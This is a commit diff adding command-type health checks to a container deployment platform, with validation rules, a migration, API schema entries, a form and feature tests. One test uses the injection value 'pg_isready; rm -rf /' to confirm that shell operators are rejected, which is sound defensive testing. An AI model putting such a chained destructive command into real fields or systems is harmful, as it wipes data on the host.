feat(healthcheck): add command-based health check support (#8612)
This commit is contained in:
commit
c93296e9a6
14 changed files with 804 additions and 20 deletions
|
|
@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type)
|
||||||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||||
return $return;
|
return $return;
|
||||||
}
|
}
|
||||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
|
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
|
||||||
|
|
||||||
$validator = customApiValidator($request->all(), [
|
$validator = customApiValidator($request->all(), [
|
||||||
'name' => 'string|max:255',
|
'name' => 'string|max:255',
|
||||||
|
|
@ -2460,7 +2460,7 @@ public function update_by_uuid(Request $request)
|
||||||
$this->authorize('update', $application);
|
$this->authorize('update', $application);
|
||||||
|
|
||||||
$server = $application->destination->server;
|
$server = $application->destination->server;
|
||||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||||
|
|
||||||
$validationRules = [
|
$validationRules = [
|
||||||
'name' => 'string|max:255',
|
'name' => 'string|max:255',
|
||||||
|
|
|
||||||
|
|
@ -1810,7 +1810,8 @@ private function health_check()
|
||||||
$counter = 1;
|
$counter = 1;
|
||||||
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
|
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
|
||||||
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
|
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
|
||||||
$this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
|
$healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL';
|
||||||
|
$this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}");
|
||||||
}
|
}
|
||||||
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
|
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
|
||||||
$sleeptime = 0;
|
$sleeptime = 0;
|
||||||
|
|
@ -2768,6 +2769,14 @@ private function generate_local_persistent_volumes_only_volume_names()
|
||||||
|
|
||||||
private function generate_healthcheck_commands()
|
private function generate_healthcheck_commands()
|
||||||
{
|
{
|
||||||
|
// Handle CMD type healthcheck
|
||||||
|
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
|
||||||
|
$this->full_healthcheck_url = $this->application->health_check_command;
|
||||||
|
|
||||||
|
return $this->application->health_check_command;
|
||||||
|
}
|
||||||
|
|
||||||
|
// HTTP type healthcheck (default)
|
||||||
if (! $this->application->health_check_port) {
|
if (! $this->application->health_check_port) {
|
||||||
$health_check_port = (int) $this->application->ports_exposes_array[0];
|
$health_check_port = (int) $this->application->ports_exposes_array[0];
|
||||||
} else {
|
} else {
|
||||||
|
|
|
||||||
|
|
@ -16,6 +16,12 @@ class HealthChecks extends Component
|
||||||
#[Validate(['boolean'])]
|
#[Validate(['boolean'])]
|
||||||
public bool $healthCheckEnabled = false;
|
public bool $healthCheckEnabled = false;
|
||||||
|
|
||||||
|
#[Validate(['string', 'in:http,cmd'])]
|
||||||
|
public string $healthCheckType = 'http';
|
||||||
|
|
||||||
|
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
|
||||||
|
public ?string $healthCheckCommand = null;
|
||||||
|
|
||||||
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
|
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
|
||||||
public string $healthCheckMethod;
|
public string $healthCheckMethod;
|
||||||
|
|
||||||
|
|
@ -54,6 +60,8 @@ class HealthChecks extends Component
|
||||||
|
|
||||||
protected $rules = [
|
protected $rules = [
|
||||||
'healthCheckEnabled' => 'boolean',
|
'healthCheckEnabled' => 'boolean',
|
||||||
|
'healthCheckType' => 'string|in:http,cmd',
|
||||||
|
'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||||
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||||
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
|
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
|
||||||
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||||
|
|
@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void
|
||||||
|
|
||||||
// Sync to model
|
// Sync to model
|
||||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||||
|
$this->resource->health_check_type = $this->healthCheckType;
|
||||||
|
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||||
$this->resource->health_check_host = $this->healthCheckHost;
|
$this->resource->health_check_host = $this->healthCheckHost;
|
||||||
|
|
@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void
|
||||||
} else {
|
} else {
|
||||||
// Sync from model
|
// Sync from model
|
||||||
$this->healthCheckEnabled = $this->resource->health_check_enabled;
|
$this->healthCheckEnabled = $this->resource->health_check_enabled;
|
||||||
|
$this->healthCheckType = $this->resource->health_check_type ?? 'http';
|
||||||
|
$this->healthCheckCommand = $this->resource->health_check_command;
|
||||||
$this->healthCheckMethod = $this->resource->health_check_method;
|
$this->healthCheckMethod = $this->resource->health_check_method;
|
||||||
$this->healthCheckScheme = $this->resource->health_check_scheme;
|
$this->healthCheckScheme = $this->resource->health_check_scheme;
|
||||||
$this->healthCheckHost = $this->resource->health_check_host;
|
$this->healthCheckHost = $this->resource->health_check_host;
|
||||||
|
|
@ -116,9 +128,12 @@ public function syncData(bool $toModel = false): void
|
||||||
public function instantSave()
|
public function instantSave()
|
||||||
{
|
{
|
||||||
$this->authorize('update', $this->resource);
|
$this->authorize('update', $this->resource);
|
||||||
|
$this->validate();
|
||||||
|
|
||||||
// Sync component properties to model
|
// Sync component properties to model
|
||||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||||
|
$this->resource->health_check_type = $this->healthCheckType;
|
||||||
|
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||||
$this->resource->health_check_host = $this->healthCheckHost;
|
$this->resource->health_check_host = $this->healthCheckHost;
|
||||||
|
|
@ -143,6 +158,8 @@ public function submit()
|
||||||
|
|
||||||
// Sync component properties to model
|
// Sync component properties to model
|
||||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||||
|
$this->resource->health_check_type = $this->healthCheckType;
|
||||||
|
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||||
$this->resource->health_check_host = $this->healthCheckHost;
|
$this->resource->health_check_host = $this->healthCheckHost;
|
||||||
|
|
@ -171,6 +188,8 @@ public function toggleHealthcheck()
|
||||||
|
|
||||||
// Sync component properties to model
|
// Sync component properties to model
|
||||||
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
$this->resource->health_check_enabled = $this->healthCheckEnabled;
|
||||||
|
$this->resource->health_check_type = $this->healthCheckType;
|
||||||
|
$this->resource->health_check_command = $this->healthCheckCommand;
|
||||||
$this->resource->health_check_method = $this->healthCheckMethod;
|
$this->resource->health_check_method = $this->healthCheckMethod;
|
||||||
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
$this->resource->health_check_scheme = $this->healthCheckScheme;
|
||||||
$this->resource->health_check_host = $this->healthCheckHost;
|
$this->resource->health_check_host = $this->healthCheckHost;
|
||||||
|
|
|
||||||
|
|
@ -61,6 +61,8 @@
|
||||||
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
|
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
|
||||||
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
|
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
|
||||||
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
|
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
|
||||||
|
'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']],
|
||||||
|
'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'],
|
||||||
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
|
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
|
||||||
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
|
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
|
||||||
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
|
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
|
||||||
|
|
|
||||||
|
|
@ -104,6 +104,8 @@ function sharedDataApplications()
|
||||||
'base_directory' => 'string|nullable',
|
'base_directory' => 'string|nullable',
|
||||||
'publish_directory' => 'string|nullable',
|
'publish_directory' => 'string|nullable',
|
||||||
'health_check_enabled' => 'boolean',
|
'health_check_enabled' => 'boolean',
|
||||||
|
'health_check_type' => 'string|in:http,cmd',
|
||||||
|
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||||
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||||
'health_check_port' => 'integer|nullable|min:1|max:65535',
|
'health_check_port' => 'integer|nullable|min:1|max:65535',
|
||||||
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,44 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Run the migrations.
|
||||||
|
*/
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasColumn('applications', 'health_check_type')) {
|
||||||
|
Schema::table('applications', function (Blueprint $table) {
|
||||||
|
$table->text('health_check_type')->default('http')->after('health_check_enabled');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! Schema::hasColumn('applications', 'health_check_command')) {
|
||||||
|
Schema::table('applications', function (Blueprint $table) {
|
||||||
|
$table->text('health_check_command')->nullable()->after('health_check_type');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reverse the migrations.
|
||||||
|
*/
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
if (Schema::hasColumn('applications', 'health_check_type')) {
|
||||||
|
Schema::table('applications', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('health_check_type');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Schema::hasColumn('applications', 'health_check_command')) {
|
||||||
|
Schema::table('applications', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('health_check_command');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
13
openapi.json
13
openapi.json
|
|
@ -11024,6 +11024,19 @@
|
||||||
"type": "integer",
|
"type": "integer",
|
||||||
"description": "Health check start period in seconds."
|
"description": "Health check start period in seconds."
|
||||||
},
|
},
|
||||||
|
"health_check_type": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Health check type: http or cmd.",
|
||||||
|
"enum": [
|
||||||
|
"http",
|
||||||
|
"cmd"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"health_check_command": {
|
||||||
|
"type": "string",
|
||||||
|
"nullable": true,
|
||||||
|
"description": "Health check command for CMD type."
|
||||||
|
},
|
||||||
"limits_memory": {
|
"limits_memory": {
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "Memory limit."
|
"description": "Memory limit."
|
||||||
|
|
|
||||||
10
openapi.yaml
10
openapi.yaml
|
|
@ -6960,6 +6960,16 @@ components:
|
||||||
health_check_start_period:
|
health_check_start_period:
|
||||||
type: integer
|
type: integer
|
||||||
description: 'Health check start period in seconds.'
|
description: 'Health check start period in seconds.'
|
||||||
|
health_check_type:
|
||||||
|
type: string
|
||||||
|
description: 'Health check type: http or cmd.'
|
||||||
|
enum:
|
||||||
|
- http
|
||||||
|
- cmd
|
||||||
|
health_check_command:
|
||||||
|
type: string
|
||||||
|
nullable: true
|
||||||
|
description: 'Health check command for CMD type.'
|
||||||
limits_memory:
|
limits_memory:
|
||||||
type: string
|
type: string
|
||||||
description: 'Memory limit.'
|
description: 'Memory limit.'
|
||||||
|
|
|
||||||
|
|
@ -20,25 +20,51 @@
|
||||||
<p>A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.</p>
|
<p>A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.</p>
|
||||||
</x-callout>
|
</x-callout>
|
||||||
@endif
|
@endif
|
||||||
|
|
||||||
|
{{-- Healthcheck Type Selector --}}
|
||||||
<div class="flex gap-2">
|
<div class="flex gap-2">
|
||||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
|
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckType" label="Type" required wire:model.live="healthCheckType">
|
||||||
<option value="GET">GET</option>
|
<option value="http">HTTP</option>
|
||||||
<option value="POST">POST</option>
|
<option value="cmd">CMD</option>
|
||||||
</x-forms.select>
|
</x-forms.select>
|
||||||
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
|
|
||||||
<option value="http">http</option>
|
|
||||||
<option value="https">https</option>
|
|
||||||
</x-forms.select>
|
|
||||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
|
|
||||||
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
|
|
||||||
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
|
|
||||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
|
|
||||||
</div>
|
|
||||||
<div class="flex gap-2">
|
|
||||||
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
|
|
||||||
required />
|
|
||||||
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
@if ($healthCheckType === 'http')
|
||||||
|
{{-- HTTP Healthcheck Fields --}}
|
||||||
|
<div class="flex gap-2">
|
||||||
|
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
|
||||||
|
<option value="GET">GET</option>
|
||||||
|
<option value="POST">POST</option>
|
||||||
|
</x-forms.select>
|
||||||
|
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
|
||||||
|
<option value="http">http</option>
|
||||||
|
<option value="https">https</option>
|
||||||
|
</x-forms.select>
|
||||||
|
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
|
||||||
|
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
|
||||||
|
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
|
||||||
|
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
|
||||||
|
</div>
|
||||||
|
<div class="flex gap-2">
|
||||||
|
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
|
||||||
|
required />
|
||||||
|
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
|
||||||
|
</div>
|
||||||
|
@else
|
||||||
|
{{-- CMD Healthcheck Fields --}}
|
||||||
|
<x-callout type="warning" title="Caution">
|
||||||
|
<p>This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.</p>
|
||||||
|
</x-callout>
|
||||||
|
<div class="flex flex-col gap-2">
|
||||||
|
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
|
||||||
|
label="Command"
|
||||||
|
placeholder="pg_isready -U postgres"
|
||||||
|
helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
|
||||||
|
:required="$healthCheckType === 'cmd'" />
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
|
||||||
|
{{-- Common timing fields (used by both types) --}}
|
||||||
<div class="flex gap-2">
|
<div class="flex gap-2">
|
||||||
<x-forms.input canGate="update" :canResource="$resource" min="1" type="number" id="healthCheckInterval" placeholder="30"
|
<x-forms.input canGate="update" :canResource="$resource" min="1" type="number" id="healthCheckInterval" placeholder="30"
|
||||||
label="Interval (s)" required />
|
label="Interval (s)" required />
|
||||||
|
|
@ -49,4 +75,4 @@
|
||||||
label="Start Period (s)" required />
|
label="Start Period (s)" required />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</form>
|
</form>
|
||||||
|
|
|
||||||
120
tests/Feature/ApplicationHealthCheckApiTest.php
Normal file
120
tests/Feature/ApplicationHealthCheckApiTest.php
Normal file
|
|
@ -0,0 +1,120 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Models\Application;
|
||||||
|
use App\Models\Environment;
|
||||||
|
use App\Models\Project;
|
||||||
|
use App\Models\Server;
|
||||||
|
use App\Models\StandaloneDocker;
|
||||||
|
use App\Models\Team;
|
||||||
|
use App\Models\User;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Visus\Cuid2\Cuid2;
|
||||||
|
|
||||||
|
uses(RefreshDatabase::class);
|
||||||
|
|
||||||
|
beforeEach(function () {
|
||||||
|
$this->team = Team::factory()->create();
|
||||||
|
$this->user = User::factory()->create();
|
||||||
|
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||||
|
|
||||||
|
session(['currentTeam' => $this->team]);
|
||||||
|
|
||||||
|
$this->token = $this->user->createToken('test-token', ['*']);
|
||||||
|
$this->bearerToken = $this->token->plainTextToken;
|
||||||
|
|
||||||
|
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||||
|
|
||||||
|
StandaloneDocker::withoutEvents(function () {
|
||||||
|
$this->destination = StandaloneDocker::firstOrCreate(
|
||||||
|
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||||
|
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
$this->project = Project::create([
|
||||||
|
'uuid' => (string) new Cuid2,
|
||||||
|
'name' => 'test-project',
|
||||||
|
'team_id' => $this->team->id,
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Project boot event auto-creates a 'production' environment
|
||||||
|
$this->environment = $this->project->environments()->first();
|
||||||
|
|
||||||
|
$this->application = Application::factory()->create([
|
||||||
|
'environment_id' => $this->environment->id,
|
||||||
|
'destination_id' => $this->destination->id,
|
||||||
|
'destination_type' => $this->destination->getMorphClass(),
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
function healthCheckAuthHeaders($bearerToken): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'Authorization' => 'Bearer '.$bearerToken,
|
||||||
|
'Content-Type' => 'application/json',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
|
||||||
|
test('can update health_check_type to cmd with a command', function () {
|
||||||
|
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||||
|
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => 'pg_isready -U postgres',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response->assertOk();
|
||||||
|
|
||||||
|
$this->application->refresh();
|
||||||
|
expect($this->application->health_check_type)->toBe('cmd');
|
||||||
|
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('can update health_check_type back to http', function () {
|
||||||
|
$this->application->update([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => 'redis-cli ping',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||||
|
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||||
|
'health_check_type' => 'http',
|
||||||
|
'health_check_command' => null,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response->assertOk();
|
||||||
|
|
||||||
|
$this->application->refresh();
|
||||||
|
expect($this->application->health_check_type)->toBe('http');
|
||||||
|
expect($this->application->health_check_command)->toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('rejects invalid health_check_type', function () {
|
||||||
|
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||||
|
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||||
|
'health_check_type' => 'exec',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response->assertStatus(422);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('rejects health_check_command with shell operators', function () {
|
||||||
|
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||||
|
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => 'pg_isready; rm -rf /',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response->assertStatus(422);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('rejects health_check_command over 1000 characters', function () {
|
||||||
|
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||||
|
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => str_repeat('a', 1001),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response->assertStatus(422);
|
||||||
|
});
|
||||||
|
});
|
||||||
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
|
|
@ -0,0 +1,90 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Support\Facades\Validator;
|
||||||
|
|
||||||
|
